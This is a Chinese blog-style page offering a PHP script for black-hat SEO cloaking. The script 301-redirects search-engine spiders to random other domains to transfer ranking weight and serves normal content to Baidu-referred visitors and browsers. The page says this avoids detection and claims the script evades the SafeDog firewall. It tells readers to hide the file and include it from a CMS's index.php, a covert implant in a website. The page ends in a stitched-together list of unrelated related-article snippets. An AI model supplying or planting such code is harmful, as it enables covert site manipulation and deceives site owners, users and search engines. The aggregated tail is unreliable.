功能说明

1.判断蜘蛛跳转

2.支持多个域名随机跳转

3.判断百度搜索进去不进行跳转(防止被发现)

4.正常浏览器访问不跳转

5.过安全狗防护

使用方法

以下代码新建为:useragent.func.php(可以放在隐蔽的地方)

然后在你网站程序核心函数,例如:dedecms动态页面可以在:index.php 进行引入自己新建的代码为: require_once (dirname(__FILE__) . “/useragent.func.php”);

error_reporting(E_ALL^E_NOTICE^E_WARNING);

$xieyi="http://";

function checkrobot($useragent=''){

static $kw_spiders = array('bot', 'crawl', 'spider' ,'slurp', 'sohu-search', 'lycos', 'robozilla');

static $kw_browsers = array('msie', 'netscape', 'opera', 'konqueror', 'mozilla');

$useragent = strtolower(empty($useragent) ? $_SERVER['HTTP_USER_AGENT'] : $useragent);

if(strpos($useragent, 'http://') === false && dstrpos($useragent, $kw_browsers)) return false;

if(dstrpos($useragent, $kw_spiders)) return true;

return false;

}

function dstrpos($string, $arr, $returnvalue = false) {

if(empty($string)) return false;

foreach((array)$arr as $v) {

if(strpos($string, $v) !== false) {

$return = $returnvalue ? $v : true;

return $return;

}

}

return false;

}

//网址随机输出,可以填写多个随机输出转移权重的网址

$url[0] = "http://demoo1.com";

$url[1] = "http://demoo2.com";

$url[2] = "http://demoo3.com";

$url[3] = "http://demoo4.com";

$url[4] = "http://demoo5.com";

$url[5] = "http://demoo5.com";

srand ((double)microtime()*1000000);

$randomnum = rand(0, count($url)-1);

if(checkrobot()){

Header("Location:$url[$randomnum]");

header('HTTP/1.1 301 Moved Permanently');

header("Location:$url[$randomnum]");

exit;

}

//判断的是百度,如果是百度点击进去就不跳转,防止被发现

if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com"))

{

$file = file_get_contents( $xieyi.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);

echo $file;

exit;

}

?>

php判断百度蜘蛛ip,判断百度蜘蛛偷偷进行301转移权重 给新站提权相关推荐

  1. php 偷偷转移别人权重,判断百度蜘蛛偷偷进行301转移权重 给新站提权

    功能说明 1.判断蜘蛛跳转 2.支持多个域名随机跳转 3.判断百度搜索进去不进行跳转(防止被发现) 4.正常浏览器访问不跳转 5.过安全狗防护 使用方法 以下代码新建为:useragent.func. ...

  2. 搜索引擎UA和对应的蜘蛛IP段,百度,搜狗,so,360搜索,神马

    众所周知,搜索引擎蜘蛛/爬虫在网站SEO收录排名扮演者至关重要的角色,今天放放SEO就按照国内常用的搜索引擎顺序说说百度搜索引擎user agent和对应的蜘蛛IP段.搜狗UA和对应的蜘蛛IP段.36 ...

  3. 【深入蜘蛛】百度蜘蛛IP段详解

    大家进行网站日志分析的时候,常见到很多不同IP段的百度蜘蛛,为了方便大家更好的进行日志分析,下面列举了百度不同IP段常见蜘蛛的一些详情情况,及所谓的降权蜘蛛,沙盒蜘蛛,高权重蜘蛛等等 下面的百度蜘蛛I ...

  4. 百度快速收录WordPress新站方法汇总

    面对百度算法的不断更新与完善,WordPress新站收录一直困扰着很多站长,那到底如何让百度快速收录WordPress新站呢?以下为几种方法,仅供参考,有待考证. 一.百度收录原理分析 百度和goog ...

  5. C# 判断是否是蜘蛛IP地址

    /// <summary>/// 判断是否蜘蛛IP地址 /// </summary>/// <param name="IP">IP地址</ ...

  6. 百度,谷歌,360,搜狗,神马等蜘蛛IP段大全

    百度蜘蛛(Baiduspider)爬取是搜索引擎获得页面内容的一个重要的途径,通过蜘蛛的抓取可以得到一个页面的最主要的内容从而收录百度数据库系统,每次抓取之后都会再与数据库原有的信息进行比对,来确定页 ...

  7. 常见的百度蜘蛛IP 日志分析

    根据不同的IP我们可以分析网站是个怎样的状态, 以下常见的百度蜘蛛IP: 123.125.68.*这个蜘蛛经常来,别的来的少,表示网站可能要进入沙盒了,或被者降权. 220.181.68.*每天这个I ...

  8. 百度搜索引擎爬行蜘蛛IP大全

    互联网上很多资深人士深入研究百度蜘蛛IP,可谓是达到了一定的层次了,百度作为国内最大的搜索引擎,也占据了搜索引擎的半壁江山,百度近些月的算法调整也让SEO们身心疲惫,各种说法和更新的算法技巧,都在各大 ...

  9. php 模拟蜘蛛,PHP模拟百度蜘蛛,伪造IP爬行网站,附源代码

    PHP模拟百度蜘蛛,伪造IP爬行网站,附源代码 // 关闭PHP报错 error_reporting( E_ALL^E_NOTICE^E_WARNING ); //实现使用curl模拟百度 蜘蛛进行采 ...

  10. 百度蜘蛛ip段大全分析,百度每个ip都什么意思

    以下都是百度的ip,总结了下,做SEO碰到的一些蜘蛛ip总结如下: 123.125.68.=123.125.68沙盒 220.181.68.=220.181.68沙盒 220.181.7.=220.1 ...

最新文章

  1. P3879 [TJOI2010]阅读理解 [STL]
  2. python代码雨代码复制_python实现跨excel sheet复制代码实例
  3. 一份我们团队Java开发的开发规范,参考了阿里巴巴Java开发手册终极版v1.3.0
  4. BZOJ4068 : [Ctsc2015]app
  5. 大数据时代,你的信息安全谁负责?
  6. 如何用 Hook 实时处理和保存 Ajax 数据
  7. 三大运营商回应“提速降费”:认真落实各项要求
  8. WWDC19 苹果宣布全新 UI 框架 SwiftUI
  9. 快速提高看盘能力的十大方法
  10. MVC – 5.MVC设计模式和.NetMVC框架
  11. USB接线引脚定义图
  12. Nutch第一次搭建部署总结
  13. Centos 搭建 FastFDS 分布式文件存储系统
  14. 解密微软Longhorn和Office 12发布时间表
  15. 水木周平戏说中国网络黑幽默!
  16. update时 单行子查询返回多个行 SQL 错误 [1427] 处理方案
  17. 基因芯片(Affymetrix)分析3:获取差异表达基因
  18. Lazy evaluation
  19. 物理像素,设备独立像素等等收录链接
  20. DOS计算机设置登录密码,电脑开机的时候有个DOS的密码怎么设置啊、

热门文章

  1. 程序员自己的商业模式
  2. html音乐游戏,音乐游戏有哪些? 音乐游戏推荐
  3. hdu11601087
  4. c语言的虚拟变量,含有分类变量(categorical variable)的逻辑回归(logistic regression)中虚拟变量(哑变量,dummy variable)的理解...
  5. 连接共享打印机时提示无法访问计算机,共享打印机无法连接,教您共享打印机无法连接怎么办...
  6. java-第十三章-类的无参方法(一)-模拟一个简单的购房商贷月供计算器
  7. 网易软件测试面试总结分享——送给正在找工作的你
  8. Elasticsearch的关键词搜索
  9. C++ 有理数运算符重载
  10. Windows 远程桌面连接命令